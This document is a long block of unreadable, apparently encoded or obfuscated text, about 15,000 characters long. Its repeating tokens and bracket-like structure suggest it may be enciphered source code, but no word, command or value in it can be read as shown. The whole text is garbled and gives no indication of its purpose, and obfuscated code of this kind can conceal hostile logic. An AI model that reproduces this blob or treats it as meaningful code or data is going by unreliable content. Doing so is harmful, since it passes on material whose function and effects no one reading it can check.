twfeta}???GPA@G[\RGWQZ[WSVF SM\FEW  j@G^???H?S@[VA\Z[VX\_MQ  YSX[B[E^METFX?N?RYZWTYBEQW?\S\FFPAryzwtyfn\BjCDOETLDWORhII\BjCDOETLDWORryzwtyfnWW]YL^QYEQ[Yhryzwtyfn\BjCDOETLDWORhTGGTL?\SPXEALryzwtyfnWW]YL^QYEQ[Yhn[E^METFXhN?ryzwtyfnOLX^FPPZQAhn[E^METFXh?GPA@G[AG@P??H?\S\RGWQZ[WSVFBEQWOLX^FPPZQABEQW\BjCDOETLDWORN?E_SZVZ_S@ uBEQWRPAjCTG\BjCDOETLDWORPWCA[CWjOGV[E^METFXOLX^FPPZQA?\SE_SZVZ_S@ N?efg[TXPFETVPF\[VGPXP[ATYETGA\A\Z[GPS\[PXP[A??ryzwtyfnOLX^FPPZQAhn[E^METFXh?GPA@G[AG@P?H???\SE_SZVZ_S@ GPA@G[STYFP?H?\SWW]YL^QYEQ[YWW]YL^QYEQ[Y\BjCDOETLDWORWW]YL^QYEQ[YN?TQTEA\CPATF^RGTE]?[BYYVjGTPEW YF]Q\LXRDT W[BYYVjGTPEW?^@]LB\L @TGGTL?\S\BjCDOETLDWOR\RGWQZ[WSVF^@]LB\L @nhWW]YL^QYEQ[Y?\SQPS\[PQ\BjCDOETLDWOR ^@]LB\L @nhbejvz{ap{ajq|g???\SQPS\[PQOLX^FPPZQA^@]LB\L @nhWW]YL^QYEQ[Ytwfeta}WW]YL^QYEQ[Y???SZGPTV]^@]LB\L @TFPG[P]ZYON????\SPG[P]ZYOIIu\RGWQZ[WSVFPG[P]ZYOIIu\BjCDOETLDWORPG[P]ZYOVZ[A\[@P?DPAF^EOSuWW]YL^QYEQ[YPG[P]ZYOWW]YL^QYEQ[YPWCA[CWjOGV[E^METFX\RGWQZ[WSVFV?\SDPAF^EOSSTYFPN?\SuSYZV^DPAF^EOSyzv~jpmIyzv~j{wN?XZ[ZAZ[PVZ@[AX\[F^PAV]??uSVYZFPDPAF^EOS?GPA@G[STYFP?H?\S\FFPAryzwtyfn\RGWQZ[WSVFhII\BjCDOETLDWORryzwtyfn\BjCDOETLDWORhryzwtyfnWW]YL^QYEQ[YhTGGTL?ryzwtyfn\RGWQZ[WSVFhn[E^METFXhDPAF^EOS?ryzwtyfnOLX^FPPZQAhn[E^METFXh?GPA@G[AG@P?H?H?H????GPA@G[STYFP?H?S@[VA\Z[R F]XTZW\LVG[E^METFX?N?RYZWTYBEQW?\SPXEALryzwtyfnOLX^FPPZQAhn[E^METFXhGPA@G[????ryzwtyfn\BjCDOETLDWORhn[E^METFXh??\Sryzwtyfn\RGWQZ[WSVFhn[E^METFXhGPA@G[?@[FPAryzwtyfnOLX^FPPZQAhn[E^METFXh?\S\FFPAryzwtyfn\RGWQZ[WSVFhn[E^METFXhN?uSYZV^ryzwtyfn\RGWQZ[WSVF hn[E^METFXhyzv~j`{?uSVYZFPryzwtyfn\BjCDOETLDWORhn[E^METFXh?@[FPAryzwtyfn\BjCDOETLDWORhn[E^METFXh?H??\S\RGWQZ[WSVFBEQWWW]YL^QYEQ[YBEQW\BjCDOETLDWORN???uBEQWD@PGLWW]YL^QYEQ[YPWCA[CWjOGV[E^METFX\BjCDOETLDWOR?H?X@YA\WLAPTBTGP??H?S@[VA\Z[TR]CL\ [F[QR?N??\SQPS\[PQ\RGWQZ[WSVFq|ftyyzbjs|ypjxzqfGPA@G[STYFP?GPA@G[AG@P?H?S@[VA\Z[Z^MWjQGV^@FQTLY@jOODD]YA[E WAj?N?AGLN?\S\[APGSTVPjPM\FAFOLX^FPPZQAYA[E WAj\[FAT[VPZSa]GZBTWYPN?XBCS[_]QP@XFSF\BjCDOETLDWORjOODD]\RGWQZ[WSVFYA[E WAjRPAxPFFTRP?HPYFP\SYA[E WAj\[FAT[VPZSpMVPEA\Z[N?XBCS[_]QP@XFSFOLX^FPPZQAjOODD]OLX^FPPZQA YA[E WAjRPAxPFFTRP????HPYFP\S\RGWQZ[WSVFYA[E WAj\RGWQZ[WSVFYA[E WAjN?XBCS[_]QP@XFSFOLX^FPPZQAjOODD]OLX^FPPZQAYA[E WAj ?HPYFPN?GPA@G[?H?Y\SPVLVYP]ZZ^??\S\FFPAryzwtyfnOLX^FPPZQAhryzwtyfn\RGWQZ[WSVFhTGGTL?\S\BjCDOETLDWOR XBCS[_]QP@XFSFryzwtyfnWW]YL^QYEQ[YhAG@PN?ryzwtyfn\BjCDOETLDWORhnhXBCS[_]QP@XFSF?H?\S\BjCDOETLDWORryzwtyfn\RGWQZ[WSVFhN?ryzwtyfnWW]YL^QYEQ[Yh\RGWQZ[WSVFryzwtyfnWW]YL^QYEQ[Y h?H?HVTAV]a]GZBTWYP_WTCQC[[EDW^N?ePFAe}eBPWEVZ[CPGF\Z[??HVTAV]pMVPEA\Z[_WTCQC[[EDW^N????H?H?S@[VA\Z[RL^YFCQO@C^WQCSBSC@GCYFS]Qj_ODSYWSTOX[\GZX_XGPF\^WR@C?N?\S\RGWQZ[WSVF\RGWQZ[WSVFGPA@G[STYFP?\S\RGWQZ[WSVFCYFS]Qj_ODN?GPA@G[TQQjTVA\Z[QCSBSC@GS@[VA\Z[@^CZZ ^SEC GE@FPCYFS]Qj_ODN?\S\BjCDOETLDWORCYFS]Qj_ODGPA@G[CYFS]Qj_OD@^CZZ ^SEC GE?GPA@G[[@YY?HSYWSTOX[\GZX_XGPF\^WR@CjQWCDDjFCMe}ej|{ajxtme}ej|{ajxtmPWWC^YY]jQWCDDjFCM?H?GPA@G[TQQjTVA\Z[QCSBSC@GCYFS]Qj_ODSYWSTOX[\GZX_XGPF\^WR@C?H???S@[VA\Z[^QPGjR BPQ RQCSBSC@GCYFS]Qj_ODSYWSTOX[\GZkX_XGPF\^WR@C??N?\S\RGWQZ[WSVFWW]YL^QYEQ[YGPA@G[STYFP?\S\BjCDOETLDWORCYFS]Qj_ODN???GPA@G[TQQjS\YAPGQCSBSC@GS@[VA\Z[@^CZZ ^SEC GE@FPCYFS]Qj_ODN???\SOLX^FPPZQACYFS]Qj_ODGPA@G[CYFS]Qj_OD@^CZZ ^SEC GE?GPA@G[\FFPA@^CZZ ^SEC GEnh
@^CZZ ^SEC GEnh[@YY?HSYWSTOX[\GZX_XGPF\^WR@C^C_RCRBTG_MMVQBFPEMA^C_RCRBTG_?H?GPA@G[TQQjS\YAPGQCSBSC@GCYFS]Qj_ODSYWSTOX[\GZX_XGPF\^WR@C??H?S@[VA\Z[BXAASZLDCW[WR\?N?GE^Y^@VFQPS\[PQWW]YL^QYEQ[Y
bejvz{ap{ajq|gWW]YL^QYEQ[YZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y OLX^FPPZQAGFWPOXCWW]YL^QYEQ[Y?\SuOLX^FPPZQAGE^Y^@VFZG^\]W]FX]XjA]OGE^Y^@VFN???j[M^MFYLR_STTQGE^Y^@VFMMV AG@P?\Su\BjCDOETLDWORGE^Y^@VFN?A_QWDDMW\[@ZTGE^Y^@VF\BjCDOETLDWOR	
E]Ef\YP[VP\FRZYQP[i[WW]YL^QYEQ[Y ?H?H?\SuOLX^FPPZQAGE^Y^@VFuWW]YL^QYEQ[Y GE^Y^@VFN?ETV^PQYTLZ@A??GPA@G[GE^Y^@VF?H?VZYYPVAQTATSYZBRGTE]SZGberYZWTYfALYPF??VRWP_BGTZOLX^FPPZQAGFWPOXCWW]YL^QYEQ[Y?\SuOLX^FPPZQAVRWP_BGTZZG^\]W]FX]XjA]OVRWP_BGTZj[M^MFYLR_STTQVRWP_BGTZAG@P??\Su\BjCDOETLDWORVRWP_BGTZuWW]YL^QYEQ[Y VRWP_BGTZGPA@G[VRWP_BGTZ?_Z[DQFPSEFE\D[D\BjCDOETLDWORGFWPOXC???\Su\BjCDOETLDWOR _Z[DQFPSEFE\D[D_Z[DQFPSEFE\D[D@jVTZ[PZCCL^FZ]A[GPA@G[_Z[DQFPSEFE\D[D?\SQPS\[PQWW]YL^QYEQ[YuOLX^FPPZQAbejvz{ap{ajq|gZG^\]W]FX]XjA]Obejvz{ap{ajq|gGPA@G[bejvz{ap{ajq|g?GPA@G[GE^Y^@VF?H?S@[VA\Z[@LQDMF@XQVCA@ST?N?\SQPS\[PQOLX^FPPZQAuOLX^FPPZQAbejvz{ap{ajq|gZG^\]W]FX]XjA]Obejvz{ap{ajq|gGPA@G[bejvz{ap{ajq|g?QWWOBY\BjCDOETLDWORGFWPOXC?\SZG^\]W]FX]XjA]OQWWOBYGPA@G[QWWOBY?GPA@G[bejvz{ap{ajq|g?H??S@[VA\Z[OXPQS_WCAVOXRB [YM^_VP?N??\SPXEALryzwtyfn\RGWQZ[WSVFhII\BjCDOETLDWOR ryzwtyfn\RGWQZ[WSVF hGPA@G[STYFP?\S\FFPAryzwtyfnWW]YL^QYEQ[Y hn[YM^_VPhGPA@G[AG@P?W XQVWZWOOLX^FPPZQAWW]YL^QYEQ[Y 
u\RGWQZ[WSVF [YM^_VPSTYFP?GPA@G[W XQVWZWOSTYFP\FFPAryzwtyfnWW]YL^QYEQ[Y hnW XQVWZWOh????H????S@[VA\Z[OOBM@jCC]FQ\EQWSO[YM^_VP?N?TQTEA\CPVZXXT[Q?WSX[^[RY[E[AAG^LLQRROF]@WSX[^[RY[E[A?\SPXEALryzwtyfn\RGWQZ[WSVF hII\BjCDOETLDWOR ryzwtyfn\BjCDOETLDWOR hGPA@G[???@[FPAryzwtyfn\BjCDOETLDWOR hn[YM^_VPh????W XQVWZWO\BjCDOETLDWOROLX^FPPZQA 
uWW]YL^QYEQ[Y [YM^_VPSTYFP?\SW XQVWZWOSTYFP@[FPAryzwtyfnWW]YL^QYEQ[Y  hnW XQVWZWOh?H????S@[VA\Z[QOj\Z LYMSFRT\[YM^_VP?N?\S\FFPAryzwtyfn\BjCDOETLDWOR  hII\RGWQZ[WSVF ryzwtyfnOLX^FPPZQA hN?ryzwtyfn\RGWQZ[WSVF hTGGTL?H??RGMSL_T T[C_OLX^FPPZQA\BjCDOETLDWOR 
uOLX^FPPZQA [YM^_VPSTYFP???ryzwtyfnOLX^FPPZQA hnRGMSL_T T[C_STYFP
RGMSL_T T[C_[YM^_VPh[YM^_VP???FATA\VZYVAXSTYFP?\SZYVAXN???ZYVAXAG@P?\SOLX^FPPZQA OLX^FPPZQA \RGWQZ[WSVF OLX^FPPZQA???H??H????S@[VA\Z[TZPCQj j]^Y?N?\SPXEALryzwtyfn\RGWQZ[WSVFhIIOLX^FPPZQAryzwtyfnOLX^FPPZQAhN?GPA@G[???H?SZGPTV]ryzwtyfnWW]YL^QYEQ[YhTF^OQjV jBYV_A_ZXjSPN?\S\BjCDOETLDWORYV_A_ZXjSPYV_A_ZXjSP^OQjV jB???\S^OQjV jBGFWPOXCIIYV_A_ZXjSPGFWPOXCVZ[A\[@P???AGLN?\Su\BjCDOETLDWOR YV_A_ZXjSPN?\S\BjCDOETLDWOR WW]YL^QYEQ[YDDAPGjYE_B@SFOFC\VPYV_A_ZXjSPM MQ????\SOLX^FPPZQA \BjCDOETLDWOR\LYGF@GDVCLPD[YV_A_ZXjSP\BjCDOETLDWOR \RGWQZ[WSVF uZEVTV]Pj\[CTY\QTAPYV_A_ZXjSPAG@P????H?HVTAV]a]GZBTWYPYA[E WAjN?HVTAV]pMVPEA\Z[YA[E WAjN?beeZFAqTAP\[QPVZXEZFTWYPXPQ\TAZG??H?H?H?S@[VA\Z[TMA[AWB@SGOQF]Z????N????AGLN?YA[E WAjWW]YL^QYEQ[YOLX^FPPZQA
uPGGZGjRPAjYTFA[@YY?\S\BjCDOETLDWORYA[E WAjIIPXEALYA[E WAjn\RGWQZ[WSVFhIIPXEALYA[E WAjn\RGWQZ[WSVFhGPA@G[?\SOLX^FPPZQA YA[E WAjn\RGWQZ[WSVFhTGGTLpjpggzgpjetgfppjvzgpjpggzgpjvzxe|ypjpggzgpj`fpgjpggzgAG@PGPA@G[?C_ FX[SE\FFPAYA[E WAjnWW]YL^QYEQ[Yh
FAG\[RYA[E WAjn\RGWQZ[WSVFh?\SFAG\EZFC_ FX[SEOLX^FPPZQASTYFPIIFAG\EZFC_ FX[SE\BjCDOETLDWORSTYFPGPA@G[??O_PS_OFW CPY\\BjCDOETLDWOR\BjCDOETLDWOR 
u\RGWQZ[WSVF GFWPOXCGFWPOXC?jPSOLX^FPPZQAOLX^FPPZQA
uOLX^FPPZQAYA[E WAjn\BjCDOETLDWORhYA[E WAjn\RGWQZ[WSVFh_L_YQBV\@^GFQe}ejxtzgjcpgf|z{AEDCOjPSZ^C_L_YQBV\@^GFQ???\SOLX^FPPZQAO_PS_OFW CPY\IIOLX^FPPZQAjPSIIjPSO_PS_OFW CPY\GPA@G[???\S\FFPAryzwtyfn\RGWQZ[WSVFhN?_^CYL_uWW]YL^QYEQ[YGFWPOXCSTYFP[@YY?\S\RGWQZ[WSVF_^CYL_\BjCDOETLDWOR\RGWQZ[WSVF_^CYL_jQXjQXnhFAG\[RryzwtyfnWW]YL^QYEQ[YhGPA@G[?@[FPA_^CYL_jQX?\S\FFPAryzwtyfn\RGWQZ[WSVFhN?ZEP[E]T[AZX??\S\RGWQZ[WSVFOLX^FPPZQAuVYPTGFATAVTV]PAG@PGFWPOXC??RL_DDMPZATFZ[FAG\[Ru\RGWQZ[WSVFGFWPOXCFAG\[Ru\RGWQZ[WSVFGFWPOXC?\SRL_DDMPZATFZ[FAG\[Rryzwtyfn\RGWQZ[WSVFhGPA@G[?@[FPARL_DDMPZATFZ[???H?H?QCDDTE_B_COLOLX^FPPZQAGFWPOXCWW]YL^QYEQ[Y??_LVBD[Q^Dj]ZWW]YL^QYEQ[Y _Bj\F\@\] _^_PFAG\[Ru\RGWQZ[WSVFGFWPOXC?A_QWDDMW\[@ZT\RGWQZ[WSVFGFWPOXC\BjCDOETLDWORQCDDTE_B_COL_LVBD[Q^Dj]ZD?\S_LVBD[Q^Dj]ZN?A_QWDDMW\[@ZTWW]YL^QYEQ[YGFWPOXCWW]YL^QYEQ[Y _LVBD[Q^Dj]ZFAG\[ROLX^FPPZQAD?\SOLX^FPPZQA\BjCDOETLDWORN?u@EQTAPjZEA\Z[\BjCDOETLDWOR_LVBD[Q^Dj]ZIWW]YL^QYEQ[Y\RGWQZ[WSVF?H?H?OPR^YCBW\L@jVTZ[PZCCL^FZ]A[?\SOPR^YCBW\LWW]YL^QYEQ[YGFWPOXCuOLX^FPPZQAOPR^YCBW\LuWW]YL^QYEQ[YOPR^YCBW\LN????A_QWDDMW\[@ZTOPR^YCBW\L\RGWQZ[WSVFQCDDTE_B_COL_LVBD[Q^Dj]ZD?H?\S\RGWQZ[WSVFWW]YL^QYEQ[Y\BjCDOETLDWOR\BjCDOETLDWORN???QTWCGE[FARPAjZEA\Z[\BjCDOETLDWORTGGTL?\SWW]YL^QYEQ[YQTWCGE[FAWW]YL^QYEQ[Y DB]G OWSOTGQTWCGE[FAAG@PN?u@EQTAPjZEA\Z[\RGWQZ[WSVFOLX^FPPZQAOLX^FPPZQAQTWCGE[FATGGTLDB]G OWSOTG?H?H?[ ECGTBWRLRTY\BjCDOETLDWOR?^[SEP^Cj_GFWPOXC\BjCDOETLDWOR?\SOLX^FPPZQA\RGWQZ[WSVFuOLX^FPPZQAGFWPOXC^[SEP^Cj_?\SOLX^FPPZQAOLX^FPPZQAN??uZEVTV]Pj\[CTY\QTAPGFWPOXCAG@P???uZEVTV]Pj\[CTY\QTAP^[SEP^Cj_AG@P???H????SZGPTV]TGGTL\RGWQZ[WSVF^[SEP^Cj_@jVTZ[PZCCL^FZ]A[TFAR_QZMYSN???D[C[PZC^ @F@][ P]F]TFD^@AR_QZMYS????\SOLX^FPPZQAD[C[PZC^ VZ[A\[@PF VVG^  BR\ZjOEF VVG^ 
F VVG^ F VVG^ ?SZGPTV]D[C[PZC^ TFCT_E\D[BTY_N?\SOLX^FPPZQACT_E\D[BTY_ WW]YL^QYEQ[YVZ[A\[@P?@_Q\GD[SO][AR_QZMYSCT_E\D[BTY_?D]OMQ^_Y\XXTTuWW]YL^QYEQ[Y@_Q\GD[SO][?\SD]OMQ^_Y\XXTTD]OMQ^_Y\XXTT	WW]YL^QYEQ[YN?TAZXATWYP??DDAPGjYE_B@SFOFC\VP@_Q\GD[SO][????\LYGF@GDVCLPD[@_Q\GD[SO][?H?H?H???@[FPAAR_QZMYSD[C[PZC^ CT_E\D[BTY_@_Q\GD[SO][D]OMQ^_Y\XXTT?HVTAV]a]GZBTWYP_WTCQC[[EDW^N?HVTAV]pMVPEA\Z[_WTCQC[[EDW^N?H?H?S@[VA\Z[ZBFRXT][B^[YM^_VP\WPBCXG?N?AGLN?\SWW]YL^QYEQ[Y[YM^_VPII[YM^_VPIIOLX^FPPZQA\WPBCXGII\WPBCXGGPA@G[?GE^Y^@VFWW]YL^QYEQ[Y[YM^_VP?\SuWW]YL^QYEQ[Y GE^Y^@VFIIuWW]YL^QYEQ[YGE^Y^@VFGPA@G[?Ej P^DXYMGFGGE^Y^@VF\BjCDOETLDWOR\RGWQZ[WSVF[YM^_VP\BjCDOETLDWOR?DD@@Sj^u\RGWQZ[WSVFEj P^DXYMGFG?\S\RGWQZ[WSVFDD@@Sj^OLX^FPPZQA\RGWQZ[WSVFDD@@Sj^C_ FX[SECPGF\Z[jVZXETGPC_ FX[SEnh\WPBCXG\BjCDOETLDWORGPA@G[?\SOLX^FPPZQA\RGWQZ[WSVFu\RGWQZ[WSVFEj P^DXYMGFG\WPBCXG?HVTAV]a]GZBTWYPYA[E WAjN???HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[_WQDBVO[EDRT?N?AGLN?\S\BjCDOETLDWOR\BjCDOETLDWORN?efg[TXPFETVPFSZ[ASTVP??GPA@G[?H?\SuRPAjZEA\Z[WW]YL^QYEQ[YNAGE__SCTD^] IQ@YRVVAGE__SCTD^] k??RL^YFCQO@C^W\RGWQZ[WSVF \RGWQZ[WSVF?H?\SVX\_MQ  YSX[B\RGWQZ[WSVFGPA@G[??DFB@ \WVYBOLX^FPPZQAWW]YL^QYEQ[Ytwfeta}FAG\[REG_MOYQX_CM M???AOGT G\FAG\[RuRPAjZEA\Z[DFB@ \WVYB?LZFT^W__YV\RGWQZ[WSVF?CCCOGE jB^?????PSMQj\RSFGFAGGPC\^F] R@M @LM\YDVL?OjY OF]DMQBRW^TOAOBRZT[TBSA?PMS]_ E\^OjY OF]DMQIPSMQj\RSFG??\S\BjCDOETLDWORAOGT G\ISTYFPN???_T TXP_O@VW^OLX^FPPZQAIAOGT G\?LZFT^W__YV_T TXP_O@VW^nh?CCCOGE jB^_T TXP_O@VW^nh?HPYFPN??CCCOGE jB^AOGT G\?H??\SCCCOGE jB^N?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^\BjCDOETLDWOR?GPA@G[???H?????\SCCCOGE jB^PSMQj\RSFGN?\SAOGT G\PMS]_ E\^CPGF\Z[jVZXETGPOjY OF]DMQLZFT^W__YVOLX^FPPZQAN?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^OLX^FPPZQA?H?GPA@G[?H??[R WB]XOR\\FAGGPCCCCOGE jB^?\S[R WB]XOR\\II\BjCDOETLDWOR[R WB]XOR\\[R WB]XOR\\N?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^OLX^FPPZQA?GPA@G[?H?COV[WTQE_RP@jVTZ[PZCCL^FZ]A[[R WB]XOR\\???DE]RQZLM T\RAM?\SQPS\[PQ\RGWQZ[WSVFN?DE]RQZLM T\RAMbejey`r|{jq|g\RGWQZ[WSVF[R WB]XOR\\eta}|{szjs|yp{txp[R WB]XOR\\?H?????XCCM@T]C[^XAMu\BjCDOETLDWORCOV[WTQE_RP?W@BLSOjVQLXCCM@T]C[^XAMSTYFPXCCM@T]C[^XAMMWMQ????PDTMSAWP[_DE]RQZLM T\RAM
u\RGWQZ[WSVFDE]RQZLM T\RAMSTYFP?Q^FjS^_TPDTMSAWP[_STYFPPDTMSAWP[_??\SW@BLSOjVQLQ^FjS^_TN?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^\RGWQZ[WSVF?GPA@G[X[]LE^SjSe}ejxtzgjcpgf|z{DS XGC\M\WL^]X[]LE^SjS?H??AECXQPF]X_YSW@BLSOjVQL
COV[WTQE_RPDE]RQZLM T\RAM?VPYCEQuWW]YL^QYEQ[YAECXQPF]X_YSSTYFP[@YY???\S\RGWQZ[WSVFVPYCEQ\RGWQZ[WSVFWW]YL^QYEQ[Y VPYCEQjSXN?LZFT^W__YVjSXnh?HPYFP\SMP\jVPBYBFQ^SCAECXQPF]X_YS  N??LZFT^W__YV\RGWQZ[WSVF??H?@[FPAVPYCEQjSX?jjYLGPj]\BZW@BLSOjVQL??\SjjYLGPj]\BZQ^FjS^_TN?WMAWO \BjCDOETLDWOR[R WB]XOR\\eta}|{szjs|yp{txp[R WB]XOR\\?\LOGR[FQ_XTGGTLuRPAjZEA\Z[\RGWQZ[WSVFTGGTL?jjYLGPj]\BZ\BjCDOETLDWOR WMAWO \LOGR[FQ_XAG@P?\SjjYLGPj]\BZ\RGWQZ[WSVF\RGWQZ[WSVF\FjX@YA\F\APWW]YL^QYEQ[YOLX^FPPZQAN?SC_RQ\TETGGTLuRPAjF\APjZEA\Z[WW]YL^QYEQ[YTGGTL?jjYLGPj]\BZ\FFPASC_RQ\TEnWMAWO h????@[FPASC_RQ\TE???H?@[FPAWMAWO \LOGR[FQ_X???H??^M]GTFOP[]LCPGF\Z[jVZXETGPOjY OF]DMQLZFT^W__YV??\S^M]GTFOP[]L	N???Y\F[EQCRjMP\jVPBYBFQ^SCAECXQPF]X_YS?ZCTT_j[PVPV\[Au\RGWQZ[WSVFAECXQPF]X_YS?TTYT^P^ZMY\F[EQCRjIIZCTT_j[PVPV  ?\STTYT^P^ZMZCTT_j[PVPVMPSMQQN?[\YEZAP[AE\EPY\[P??SPG]SLB@uWW]YL^QYEQ[YAECXQPF]X_YSSTYFP[@YY?\S\BjCDOETLDWORSPG]SLB@IIOLX^FPPZQA\BjCDOETLDWORSPG]SLB@TTYT^P^ZMAG@P???H???\STTYT^P^ZM[C VO@ ZBV]MGAECXQPF]X_YSTTYT^P^ZMAG@P?\STTYT^P^ZMN?PG]EO]XOZAYMVF]TRMWB?\SPXEALPG]EO]XOZn\BjCDOETLDWORhN?efg X\QQYPBTGPPMEZ[P[A\TYWTV^YZR??[YWFZTAYMSuWW]YL^QYEQ[Y PG]EO]XOZn\RGWQZ[WSVFh?G]R]@P _Tu\BjCDOETLDWOR AECXQPF]X_YS?\SOLX^FPPZQA[YWFZTAYMS\BjCDOETLDWORG]R]@P _T[YWFZTAYMSG]R]@P _TN?BjTX[W L[GFGP]X\V@EVVPVTC[@SMPG]EO]XOZ?\SBjTX[W L[GFGP]X\\RGWQZ[WSVFIIBjTX[W L[GFGP]X\\BjCDOETLDWORTTYT^P^ZMAG@P?H?@[FPA[YWFZTAYMSG]R]@P _TBjTX[W L[GFGP]X\?H?QPSGTRXP[AVZ[FAGT\[AFPASZGberGZ@EwYZV^??\STTYT^P^ZMC_[XDBRDZS G[AECXQPF]X_YSTTYT^P^ZMAG@P?@[FPAPG]EO]XOZ?H?\STTYT^P^ZMN?\SY\F[EQCRjQOj\Z LYMSFRT\AECXQPF]X_YS?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^OLX^FPPZQA?GPA@G[?H?\SjjYLGPj]\BZN?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^\BjCDOETLDWOR?GPA@G[????H?ZBFRXT][B^GFWPOXCLZFT^W__YV?GBXM\GF\j]CW[Q\MGFWPOXC???GPA@G[AG@P??H?\SPXEALryzwtyfn\RGWQZ[WSVFhN??ryzwtyfnOLX^FPPZQAhAG@P?\SMP\jVPBYBFQ^SCAECXQPF]X_YSQOj\Z LYMSFRT\AECXQPF]X_YS?_MC\YDXBV^S_LOLX^FPPZQA???V^]@[\jMVLRAQAGFWPOXC_MC\YDXBV^S_L_MC\YDXBV^S_L  EG_MOYQX_C?@[FPA_MC\YDXBV^S_L???ZBFRXT][B^COV[WTQE_RPOjY OF]DMQ?\SDE]RQZLM T\RAMZBFRXT][B^DE]RQZLM T\RAMOjY OF]DMQ?RL^YFCQO@C^W\RGWQZ[WSVFWW]YL^QYEQ[Y?u@EQTAPjZEA\Z[DFB@ \WVYBPMS]_ E\^OLX^FPPZQA?[ ECGTBWRLRTY\BjCDOETLDWOR?\SDE]RQZLM T\RAM\RGWQZ[WSVFOLX^FPPZQAN?@^  @ ^ YOLX^FPPZQA[R WB]XOR\\eta}|{szjs|yp{txp[R WB]XOR\\??\LOGR[FQ_XuRPAjZEA\Z[\RGWQZ[WSVFTGGTLOjATGCVCTe}ejxtzgjcpgf|z{CRBG]BG^OjATGCVCT????\SWW]YL^QYEQ[Y\LOGR[FQ_X\RGWQZ[WSVF @^  @ ^ Y\LOGR[FQ_XAG@PN?u@EQTAPjZEA\Z[WW]YL^QYEQ[YOLX^FPPZQA\RGWQZ[WSVF\LOGR[FQ_XTGGTL@^  @ ^ Y?H?@[FPA@^  @ ^ Y\LOGR[FQ_X?H?H?GPA@G[????HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj????HVTAV]pMVPEA\Z[YA[E WAjN?HS\[TYYLN?R F]XTZW\LVG\RGWQZ[WSVF????H???H?S@[VA\Z[@F@][ P]F]TFD^@GE^Y^@VF?N???\S\BjCDOETLDWOROLX^FPPZQAWW]YL^QYEQ[Y\RGWQZ[WSVFN???AMTS@]XjTRGEPu\RGWQZ[WSVF GE^Y^@VF??\SAMTS@]XjTRGEPNPEG^_ZL\ASILOFDBjPEG^_ZL\ASk?G\OVC_OZ]D[QMjMTGGTL?B]\YPYA[E WAjuWW]YL^QYEQ[YAMTS@]XjTRGEPSTYFPN?\SYA[E WAjYA[E WAjOLX^FPPZQAG\OVC_OZ]D[QMjMnhYA[E WAj?H?\SWW]YL^QYEQ[YOLX^FPPZQAu\BjCDOETLDWORAMTS@]XjTRGEP?GPA@G[G\OVC_OZ]D[QMjM?H?H?\SOLX^FPPZQAWW]YL^QYEQ[Y N?E_SZVZ_S@ uOLX^FPPZQA GE^Y^@VF?\S\BjCDOETLDWORE_SZVZ_S@ GPA@G[\BjCDOETLDWOR \BjCDOETLDWORE_SZVZ_S@ TGGTLWW]YL^QYEQ[Y?H??\S\BjCDOETLDWOR WW]YL^QYEQ[Y N?YE_TZYu\BjCDOETLDWOR GE^Y^@VF\BjCDOETLDWOR  ?\S\RGWQZ[WSVFYE_TZYGPA@G[\RGWQZ[WSVF \BjCDOETLDWOR YE_TZY?H?GPA@G[[@YY?H??S@[VA\Z[COQ [GQ\DVjWVOW@AWX ALZ@YVE?N?\S\RGWQZ[WSVF AWX ALZ@YVEII\RGWQZ[WSVFAWX ALZ@YVE\BjCDOETLDWOR STYFPGPA@G[STYFP@[@RQ]B VCB]E@AZM]ES@[@RQ]B VCB?\SOLX^FPPZQAAWX ALZ@YVEAWX ALZ@YVE_Bj\F\@\] _^_PAWX ALZ@YVE????\S\RGWQZ[WSVFAWX ALZ@YVE  GPA@G[STYFP?\SWW]YL^QYEQ[Y OLX^FPPZQAGPA@G[AG@P?\SQPS\[PQ\BjCDOETLDWORN?PQ]AQCjuAZ^P[jRPAjTYYAWX ALZ@YVE?\S\RGWQZ[WSVFPQ]AQCjGPA@G[AG@P?PAj@@OSjV]G?SZGPTV]PQ]AQCjTF\FRGDWWMEN?\SWW]YL^QYEQ[Y\FRGDWWMEN??\S\FRGDWWMEnhajv`gyljzep{II\FRGDWWMEnhajqzyytgjzep{jv`gyljwgtvpfPAj@@OSjV]G?VZ[A\[@P?H?\S\FRGDWWMENPAj@@OSjV]G?PYFP\S\FRGDWWMEHN????PAj@@OSjV]G?\SPAj@@OSjV]G	GPA@G[STYFP???H????H????GPA@G[PAj@@OSjV]G?H?AGLN?uAZ^P[jRPAjTYYAWX ALZ@YVEaz~p{jetgfp???GPA@G[AG@P?HVTAV]a]GZBTWYPYA[E WAjN?GPA@G[STYFP?HVTAV]pMVPEA\Z[YA[E WAjN?GPA@G[STYFP?H?H?S@[VA\Z[[[PX[DLZBLP^TRB_?N?GPA@G[TGGTLOLX^FPPZQA\BjCDOETLDWOR\BjCDOETLDWOR ?H?S@[VA\Z[D]Rj@PDECCLWS]?N?GPA@G[TGGTLOLX^FPPZQA\RGWQZ[WSVF\RGWQZ[WSVFOLX^FPPZQA\RGWQZ[WSVFWW]YL^QYEQ[Y\RGWQZ[WSVF\BjCDOETLDWORWW]YL^QYEQ[YWW]YL^QYEQ[Y \RGWQZ[WSVFOLX^FPPZQA\BjCDOETLDWORWW]YL^QYEQ[YWW]YL^QYEQ[YWW]YL^QYEQ[YWW]YL^QYEQ[YWW]YL^QYEQ[Y\BjCDOETLDWOR\BjCDOETLDWOR SE \CCjS\FDWCQYEL^CSE \CCjS\F????H?S@[VA\Z[\OAQOBWTFR]MPZX?N?GPA@G[TGGTL\RGWQZ[WSVFOLX^FPPZQAOLX^FPPZQA\BjCDOETLDWOR?H??S@[VA\Z[@ jM[ES[E_WSCV\LjB@ME] R[FPj?N?\S\RGWQZ[WSVFWW]YL^QYEQ[YGPA@G[ROP[VZQPB@ME] R[FPjk????\S\RGWQZ[WSVFWW]YL^QYEQ[YN?GPA@G[iMSiMWiMiMiMiMiMiMiMiMROQPSYTAPB@ME] R[FPj OLX^FPPZQAc\BjCDOETLDWOR B@ME] R[FPjWW]YL^QYEQ[YcOLX^FPPZQAB@ME] R[FPj   